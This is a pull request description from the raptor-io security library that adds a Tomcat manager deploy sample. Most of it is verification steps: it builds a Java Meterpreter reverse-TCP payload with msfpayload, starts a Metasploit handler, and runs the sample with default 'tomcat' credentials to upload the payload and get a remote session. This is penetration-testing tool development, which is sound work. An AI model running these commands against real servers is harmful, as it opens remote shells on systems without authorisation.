rapid7/raptor-io — pull request #30 by jvazquez-r7 (2014-04-21 17:30:09+00:00)
Title: Add tomcat_mgr_deploy

I'm coding some samples to be more comfortable with the raptor-io HTTP API. Feel free to fix me if I'm misunderstanding the new API still.

* I didn't figure out how to add uri parameters to a PUT request through the :parameters options.

Verification
--------------

- [ ] Create a war payload with msfpayload

```
./msfpayload java/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 W > /tmp/test.jar
```

- [ ] Start a hander in the console

```
msf exploit(tomcat_mgr_deploy) > use exploit/multi/handler
msf exploit(handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > exploit

[*] Started reverse handler on 1.1.1.1:4444
[*] Starting the payload handler...
```

- [ ] Deploy payload with the raptor-io sample

```
ruby samples/tomcat_mgr_deploy.rb --url http://1.1.1.2:8080/manager --username=tomcat --password tomcat --jar /tmp/test.jar --app-base metasploit
```

- [ ] Hopefully enjoy new session in the console